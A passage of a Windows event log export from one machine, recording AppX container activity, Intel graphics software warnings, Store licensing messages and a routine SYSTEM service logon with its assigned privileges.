tracking\",\"parameters\":{\"handle\":\"235276AB010\",\"process\":0}}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:00:03.310\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"explorer\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:00:05.590\t8100\tStarting validation and setting the Trust Label on package Microsoft.WidgetsPlatformRuntime_1.6.19.0_x64__8wekyb3d8bbwe with flags 0x103.\tVerbose\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 09:00:05.591\t8106\tPackage Microsoft.WidgetsPlatformRuntime_1.6.19.0_x64__8wekyb3d8bbwe has Trust Label already. Flags: 0x103\tVerbose\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 09:00:05.591\t8101\tFinished validation and setting the Trust Label on package Microsoft.WidgetsPlatformRuntime_1.6.19.0_x64__8wekyb3d8bbwe with flags 0x103.\tVerbose\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 09:00:07.175\t217\tDestroyed Desktop AppX container {245CDE60-A8C9-11F1-B7FF-289200F24A99} for package Microsoft.OneDriveSync_26150.804.11.0_neutral__8wekyb3d8bbwe.\tInformation\tMicrosoft-Windows-AppModel-Runtime/Admin\tMicrosoft-Windows-AppModel-Runtime\n05.09.2026 09:00:11.312\t210\tCreated Desktop AppX container {245CDE65-A8C9-11F1-B7FF-289200F24A99} for package Microsoft.OneDriveSync_26150.804.11.0_neutral__8wekyb3d8bbwe.\tInformation\tMicrosoft-Windows-AppModel-Runtime/Admin\tMicrosoft-Windows-AppModel-Runtime\n05.09.2026 09:00:11.312\t211\tAdded process 5628 to Desktop AppX container 245cde65-a8c9-11f1-b7ff-289200f24a99 for package Microsoft.OneDriveSync_26150.804.11.0_neutral__8wekyb3d8bbwe.\tInformation\tMicrosoft-Windows-AppModel-Runtime/Admin\tMicrosoft-Windows-AppModel-Runtime\n05.09.2026 09:00:16.928\t3\t{\"category\":\"PresentMonWrapper\",\"level\":\"Warning\",\"message\":\"PresentMonSession already tracking\",\"parameters\":{\"handle\":\"235276AB010\",\"process\":0}}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:00:16.932\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:00:17.145\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:00:17.274\t4624\t\"An account was successfully logged on.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\tHONOR-FRG-X$\n\tAccount Domain:\t\tWORKGROUP\n\tLogon ID:\t\t0x3E7\n\nLogon Information:\n\tLogon Type:\t\t5\n\tRestricted Admin Mode:\t-\n\tRemote Credential Guard:\t-\n\tVirtual Account:\t\tNo\n\tElevated Token:\t\tYes\n\nImpersonation Level:\t\tImpersonation\n\nNew Logon:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\t\u0421\u0418\u0421\u0422\u0415\u041c\u0410\n\tAccount Domain:\t\tNT AUTHORITY\n\tLogon ID:\t\t0x3E7\n\tLinked Logon ID:\t\t0x0\n\tNetwork Account Name:\t-\n\tNetwork Account Domain:\t-\n\tLogon GUID:\t\t{00000000-0000-0000-0000-000000000000}\n\nProcess Information:\n\tProcess ID:\t\t0x68c\n\tProcess Name:\t\tC:\\Windows\\System32\\services.exe\n\nNetwork Information:\n\tWorkstation Name:\t-\n\tSource Network Address:\t-\n\tSource Port:\t\t-\n\nDetailed Authentication Information:\n\tLogon Process:\t\tAdvapi  \n\tAuthentication Package:\tNegotiate\n\tTransited Services:\t-\n\tPackage Name (NTLM only):\t-\n\tKey Length:\t\t0\n\nThis event is generated when a logon session is created. It is generated on the computer that was accessed.\n\nThe subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.\n\nThe logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).\n\nThe New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.\n\nThe network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.\n\nThe impersonation level field indicates the extent to which a process in the logon session can impersonate.\n\nThe authentication information fields provide detailed information about this specific logon request.\n\t- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.\n\t- Transited services indicate which intermediate services have participated in this logon request.\n\t- Package name indicates which sub-protocol was used among the NTLM protocols.\n\t- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 09:00:17.274\t4672\t\"Special privileges assigned to new logon.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\t\u0421\u0418\u0421\u0422\u0415\u041c\u0410\n\tAccount Domain:\t\tNT AUTHORITY\n\tLogon ID:\t\t0x3E7\n\nPrivileges:\t\tSeAssignPrimaryTokenPrivilege\n\t\t\tSeTcbPrivilege\n\t\t\tSeSecurityPrivilege\n\t\t\tSeTakeOwnershipPrivilege\n\t\t\tSeLoadDriverPrivilege\n\t\t\tSeBackupPrivilege\n\t\t\tSeRestorePrivilege\n\t\t\tSeDebugPrivilege\n\t\t\tSeAuditPrivilege\n\t\t\tSeSystemEnvironmentPrivilege\n\t\t\tSeImpersonatePrivilege\n\t\t\tSeDelegateSessionUserImpersonatePrivilege\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 09:00:18.366\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:00:19.365\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:00:20.147\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:00:20.371\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:00:20.820\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:00:21.044\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:00:21.603\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:00:21.939\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:00:22.274\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:00:22.943\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:00:24.618\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:00:24.839\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:00:25.061\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:00:25.395\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:00:25.856\t217\tDestroyed Desktop AppX container {245CDE65-A8C9-11F1-B7FF-289200F24A99} for package Microsoft.OneDriveSync_26150.804.11.0_neutral__8wekyb3d8bbwe.\tInformation\tMicrosoft-Windows-AppModel-Runtime/Admin\tMicrosoft-Windows-AppModel-Runtime\n05.09.2026 09:00:25.955\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:00:26.180\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:00:26.403\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:00:26.959\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:00:27.514\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:00:27.736\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:00:29.076\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:00:29.523\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:00:29.857\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:00:30.079\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:00:30.526\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:00:30.565\t217\tDestroyed Desktop AppX container {245CDE56-A8C9-11F1-B7FF-289200F24A99} for package Microsoft.WindowsNotepad_11.2605.34.0_x64__8wekyb3d8bbwe.\tInformation\tMicrosoft-Windows-AppModel-Runtime/Admin\tMicrosoft-Windows-AppModel-Runtime\n05.09.2026 09:00:30.565\t217\tDestroyed Desktop AppX container {245CDE5B-A8C9-11F1-B7FF-289200F24A99} for package SAMSUNGELECTRONICSCoLtd.SamsungQuickShare_2.3.22.0_x64__wyx1vj98g3asy.\tInformation\tMicrosoft-Windows-AppModel-Runtime/Admin\tMicrosoft-Windows-AppModel-Runtime\n05.09.2026 09:00:30.567\t8001\t\"Invoking license manager because license/lease polling time up: PFN SAMSUNGELECTRONICSCoLtd.SamsungQuickShare_2.3.22.0_x64__wyx1vj98g3asy\nFunction: InvokeLicenseManagerRequired\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\apisethost\\activationapis.cpp (361)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 09:00:30.567\t8001\t\"ServicePackageRundownNotificationImpl PsmKey:SAMSUNGELECTRONICSCoLtd.SamsungQuickShare_2.3.22.0_x64__wyx1vj98g3asy+App, sid:S-1-5-21-3712849175-2219398513-4278588552-1006\nFunction: ServicePackageRundownNotificationImpl\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\service.cpp (2587)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 09:00:31.307\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:00:31.863\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:00:32.197\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:00:32.419\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:00:33.091\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:00:33.315\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:00:33.647\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:00:34.204\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:00:34.763\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:00:34.987\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:00:35.650\t8001\t\"Skipping license manager: PFN Microsoft.WindowsNotepad_11.2605.34.0_x64__8wekyb3d8bbwe\nFunction: InvokeLicenseManagerRequired\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\apisethost\\activationapis.cpp (373)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 09:00:35.666\t210\tCreated Desktop AppX container {245CDE6F-A8C9-11F1-B7FF-289200F24A99} for package Microsoft.WindowsNotepad_11.2605.34.0_x64__8wekyb3d8bbwe.\tInformation\tMicrosoft-Windows-AppModel-Runtime/Admin\tMicrosoft-Windows-AppModel-Runtime\n05.09.2026 09:00:35.666\t211\tAdded process 3232 to Desktop AppX container 245cde6f-a8c9-11f1-b7ff-289200f24a99 for package Microsoft.WindowsNotepad_11.2605.34.0_x64__8wekyb3d8bbwe.\tInformation\tMicrosoft-Windows-AppModel-Runtime/Admin\tMicrosoft-Windows-AppModel-Runtime\n05.09.2026 09:00:35.723\t8001\t\"Skipping license manager: PFN SAMSUNGELECTRONICSCoLtd.SamsungQuickShare_2.3.22.0_x64__wyx1vj98g3asy\nFunction: InvokeLicenseManagerRequired\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\apisethost\\activationapis.cpp (373)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 09:00:35.750\t210\tCreated Desktop AppX container {245CDE74-A8C9-11F1-B7FF-289200F24A99} for package SAMSUNGELECTRONICSCoLtd.SamsungQuickShare_2.3.22.0_x64__wyx1vj98g3asy.\tInformation\tMicrosoft-Windows-AppModel-Runtime/Admin\tMicrosoft-Windows-AppModel-Runtime\n05.09.2026 09:00:35.750\t211\tAdded process 2020 to Desktop AppX container 245cde74-a8c9-11f1-b7ff-289200f24a99 for package SAMSUNGELECTRONICSCoLtd.SamsungQuickShare_2.3.22.0_x64__wyx1vj98g3asy.\tInformation\tMicrosoft-Windows-AppModel-Runtime/Admin\tMicrosoft-Windows-AppModel-Runtime\n05.09.2026 09:00:35.797\t210\tCreated Desktop AppX container {245CDE79-A8C9-11F1-B7FF-289200F24A99} for package Microsoft.OneDriveSync_26150.804.11.0_neutral__8wekyb3d8bbwe.\tInformation\tMicrosoft-Windows-AppModel-Runtime/Admin\tMicrosoft-Windows-AppModel-Runtime\n05.09.2026 09:00:35.797\t211\tAdded process 6128 to Desktop AppX container 245cde79-a8c9-11f1-b7ff-289200f24a99 for package Microsoft.OneDriveSync_26150.804.11.0_neutral__8wekyb3d8bbwe.\tInformation\tMicrosoft-Windows-AppModel-Runtime/Admin\tMicrosoft-Windows-AppModel-Runtime\n05.09.2026 09:00:35.987\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:00:36.770\t3\t{\"category\":\"PresentMonWrapper\",\"level\":\"Warning\",\"message\":\"PresentMonSession already tracking\",\"parameters\":{\"handle\":\"235276AB010\",\"process\":0}}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:00:36.775\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"explorer\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:00:43.342\t2416\tA local notification was received from MicrosoftWindows.Client.WebExperience_cw5n1h2txyewy!Widgets [AppUserModelId] with a 0 [NotificationId] through an application endpoint.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 09:00:43.345\t2418\tA local notification was submitted to threadpool: MicrosoftWindows.Client.WebExperience_cw5n1h2txyewy!Widgets [AppUserModelId] tile [NotificationType] 9401 [NotificationTrackingId] Local [NotificationSource].\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 09:00:45.538\t28017\tAppResolver Scan Started.\tInformation\tMicrosoft-Windows-Shell-Core/Operational\tMicrosoft-Windows-Shell-Core\n05.09.2026 09:00:45.563\t28032\tAppResolver has parsed the visual elements manifest for a tile.\tInformation\tMicrosoft-Windows-Shell-Core/Operational\tMicrosoft-Windows-Shell-Core\n05.09.2026 09:00:45.565\t28115\tShortcut for application WINWORD.EXE - Shortcut (2) with ID Microsoft.Office.WINWORD.EXE.15 and flags 0x10 is added to app resolver cache.\tInformation\tMicrosoft-Windows-Shell-Core/Operational\tMicrosoft-Windows-Shell-Core\n05.09.2026 09:00:45.569\t28018\tAppResolver Scan Stopped.\tInformation\tMicrosoft-Windows-Shell-Core/Operational\tMicrosoft-Windows-Shell-Core\n05.09.2026 09:00:45.572\t28019\tAppResolver Cache Committed.\tInformation\tMicrosoft-Windows-Shell-Core/Operational\tMicrosoft-Windows-Shell-Core\n05.09.2026 09:00:45.579\t3049\tEndpoint 0x0 is being cleanedup\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 09:00:48.559\t217\tDestroyed Desktop AppX container {245CDE79-A8C9-11F1-B7FF-289200F24A99} for package Microsoft.OneDriveSync_26150.804.11.0_neutral__8wekyb3d8bbwe.\tInformation\tMicrosoft-Windows-AppModel-Runtime/Admin\tMicrosoft-Windows-AppModel-Runtime\n05.09.2026 09:00:48.560\t217\tDestroyed Desktop AppX container {245CDE6F-A8C9-11F1-B7FF-289200F24A99} for package Microsoft.WindowsNotepad_11.2605.34.0_x64__8wekyb3d8bbwe.\tInformation\tMicrosoft-Windows-AppModel-Runtime/Admin\tMicrosoft-Windows-AppModel-Runtime\n05.09.2026 09:00:48.572\t8001\t\"Invoking license manager because license/lease polling time up: PFN SAMSUNGELECTRONICSCoLtd.SamsungQuickShare_2.3.22.0_x64__wyx1vj98g3asy\nFunction: InvokeLicenseManagerRequired\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\apisethost\\activationapis.cpp (361)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 09:00:48.572\t8001\t\"ServicePackageRundownNotificationImpl PsmKey:SAMSUNGELECTRONICSCoLtd.SamsungQuickShare_2.3.22.0_x64__wyx1vj98g3asy+App, sid:S-1-5-21-3712849175-2219398513-4278588552-1006\nFunction: ServicePackageRundownNotificationImpl\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\service.cpp (2587)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 09:00:48.573\t217\tDestroyed Desktop AppX container {245CDE74-A8C9-11F1-B7FF-289200F24A99} for package SAMSUNGELECTRONICSCoLtd.SamsungQuickShare_2.3.22.0_x64__wyx1vj98g3asy.\tInformation\tMicrosoft-Windows-AppModel-Runtime/Admin\tMicrosoft-Windows-AppModel-Runtime\n05.09.2026 09:00:52.072\t3\t{\"category\":\"PresentMonWrapper\",\"level\":\"Warning\",\"message\":\"PresentMonSession already tracking\",\"parameters\":{\"handle\":\"235276AB010\",\"process\":0}}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:00:52.076\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:00:52.515\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:00:53.524\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:00:53.968\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:00:54.514\t8001\t\"Skipping license manager: PFN Microsoft.WindowsNotepad_11.2605.34.0_x64__8wekyb3d8bbwe\nFunction: InvokeLicenseManagerRequired\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\apisethost\\activationapis.cpp (373)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 09:00:54.526\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:00:54.530\t210\tCreated Desktop AppX container {245CDE80-A8C9-11F1-B7FF-289200F24A99} for package Microsoft.WindowsNotepad_11.2605.34.0_x64__8wekyb3d8bbwe.\tInformation\tMicrosoft-Windows-AppModel-Runtime/Admin\tMicrosoft-Windows-AppModel-Runtime\n05.09.2026 09:00:54.531\t211\tAdded process 3188 to Desktop AppX container 245cde80-a8c9-11f1-b7ff-289200f24a99 for package Microsoft.WindowsNotepad_11.2605.34.0_x64__8wekyb3d8bbwe.\tInformation\tMicrosoft-Windows-AppModel-Runtime/Admin\tMicrosoft-Windows-AppModel-Runtime\n05.09.2026 09:00:54.586\t8001\t\"Skipping license manager: PFN SAMSUNGELECTRONICSCoLtd.SamsungQuickShare_2.3.22.0_x64__wyx1vj98g3asy\nFunction: InvokeLicenseManagerRequired\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\apisethost\\activationapis.cpp (373)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 09:00:54.612\t210\tCreated Desktop AppX container {245CDE85-A8C9-11F1-B7FF-289200F24A99} for package SAMSUNGELECTRONICSCoLtd.SamsungQuickShare_2.3.22.0_x64__wyx1vj98g3asy.\tInformation\tMicrosoft-Windows-AppModel-Runtime/Admin\tMicrosoft-Windows-AppModel-Runtime\n05.09.2026 09:00:54.612\t211\tAdded process 15532 to Desktop AppX container 245cde85-a8c9-11f1-b7ff-289200f24a99 for package SAMSUNGELECTRONICSCoLtd.SamsungQuickShare_2.3.22.0_x64__wyx1vj98g3asy.\tInformation\tMicrosoft-Windows-AppModel-Runtime/Admin\tMicrosoft-Windows-AppModel-Runtime\n05.09.2026 09:00:54.659\t210\tCreated Desktop AppX container {245CDE8A-A8C9-11F1-B7FF-289200F24A99} for package Microsoft.OneDriveSync_26150.804.11.0_neutral__8wekyb3d8bbwe.\tInformation\tMicrosoft-Windows-AppModel-Runtime/Admin\tMicrosoft-Windows-AppModel-Runtime\n05.09.2026 09:00:54.659\t211\tAdded process 9584 to Desktop AppX container 245cde8a-a8c9-11f1-b7ff-289200f24a99 for package Microsoft.OneDriveSync_26150.804.11.0_neutral__8wekyb3d8bbwe.\tInformation\tMicrosoft-Windows-AppModel-Runtime/Admin\tMicrosoft-Windows-AppModel-Runtime\n05.09.2026 09:00:55.528\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:00:55.738\t3\t{\"category\":\"PresentMonWrapper\",\"level\":\"Warning\",\"message\":\"PresentMonSession already tracking\",\"parameters\":{\"handle\":\"235276AB010\",\"process\":0}}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:00:55.742\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"explorer\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:00:59.771\t217\tDestroyed Desktop AppX container {245CDE8A-A8C9-11F1-B7FF-289200F24A99} for package Microsoft.OneDriveSync_26150.804.11.0_neutral__8wekyb3d8bbwe.\tInformation\tMicrosoft-Windows-AppModel-Runtime/Admin\tMicrosoft-Windows-AppModel-Runtime\n05.09.2026 09:01:00.851\t210\tCreated Desktop AppX container {245CDE8F-A8C9-11F1-B7FF-289200F24A99} for package 